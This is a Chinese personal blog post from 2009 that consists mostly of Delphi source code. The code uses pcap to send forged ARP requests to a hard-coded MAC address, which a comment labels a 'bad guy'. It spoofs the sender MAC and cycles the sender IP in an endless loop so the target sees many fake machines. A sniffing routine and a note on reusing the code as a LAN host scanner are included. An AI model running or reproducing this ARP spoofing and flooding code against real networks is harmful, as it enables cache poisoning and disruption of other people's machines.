注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

BCB-DG's Blog

...

 
 
 

日志

 
 

send arp  

2009-09-21 17:08:18|  分类: Delphi |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
灰色代码
procedure TForm1.Button1Click(Sender: TObject);
var
   ThreadID:DWord;
my_arp_packet:ARP_PACKET;
i:Integer;
ip_str:string;
low_ip,high_ip:Integer;
begin
For i:=0 to 2 do
begin
if strtoip(edit3.Text)[i]<>strtoip(edit2.Text)[i] then
    begin
      ShowMessage('检查您输入的ip是否正确,目前只支持同一网段');
      Exit;
    end;
end;
Low_ip:=strtoip(edit3.Text)[3];
high_ip:=strtoip(Edit2.Text)[3];
CreateThread(nil,0,@sniff,nil,0,ThreadID);
{fill the DLC}
my_arp_packet.DLC_HDR.Destination:=setMacStr('00-00-f0-7d-26-3f');//坏蛋的mac地址;
my_arp_packet.DLC_HDR.Source:=setMacStr('aa-bb-cc-dd-ee-ff'); //告诉他我的mac为aa-bb-cc-dd
my_arp_packet.DLC_HDR.Protocol:=$0608; // PROTO_ARP
{fill the ARP}
my_arp_packet.ARP_FRAM.HardwareType:=$0100;//以太网
my_arp_packet.ARP_FRAM.ProtocolType:=$0008;//上层为IP协议
my_arp_packet.ARP_FRAM.HLen:=$6;//MAC地址长度
my_arp_packet.ARP_FRAM.PLen:=$4;//IP地址长度;
my_arp_packet.ARP_FRAM.Operation:=$0100;//操作码,此处为请求
my_arp_packet.ARP_FRAM.SenderHA:=setMacStr(Edit1.Text);
my_arp_packet.ARP_FRAM.TargetHA:=setMacStr('00-00-00-00-00-00');
my_arp_packet.ARP_FRAM.TargetIP:=StrToIP('192.168.0.254');

//while True do
//my_arp_packet.DLC_HDR.Source:=setMacStr(Edit1.Text);
while True do
begin
for i:=low_ip to high_ip do
begin
ip_str:='192.168.'+inttostr(strtoip(edit3.Text)[2])+'.'+inttostr(i);
//不断切换我的ip,效果就是让他发现多了n台机子,mac都是aa-bb-cc
my_arp_packet.ARP_FRAM.SenderIP:=StrToIP(ip_str);
if pcap_sendpacket(my_ppcap_t,@my_arp_packet,SizeOf(my_arp_packet))=0 then
Form1.Caption:='发送成功'+inttostr(i);
Sleep(100);
end;
end;
{以上为arp发包的过程,可以用一个CreateThread 创建线程}
procedure sniff;
var
netmaste:u_int;
fcode:Tbpf_program;
packet_filter:array[1..10]of Char;
begin

d:=@alldevs;
d:=d.next;
d:=d.next;
if d.address<>nil then// netmaste:=
netmaste:=d.address.netmask.sin_addr.S_addr
else
netmaste:=$FFFFFF;
//compile the filter      ip and tcp and
if pcap_compile(my_ppcap_t,@fcode,PChar('arp'),1,netmaste)<0 then ShowMessage('compile the filter fall');
//set the filter
if pcap_setfilter(my_ppcap_t,@fcode)<0 then ShowMessage('Error setting the filter');
pcap_loop(my_ppcap_t,0,@packet_handle,nil);//
end;
{此处为嗅探的过程,如果先创建一个线程开始嗅探,并将上面发包的mac目的地址,就是以太网头部的前6个字节换成ff-ff-ff-ff-ff-ff,pcap_loop的回调函数处理mac_ip列表的对应关系,则此程序即是一个内网存活机子扫描的程序,}

  评论这张
 
阅读(963)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017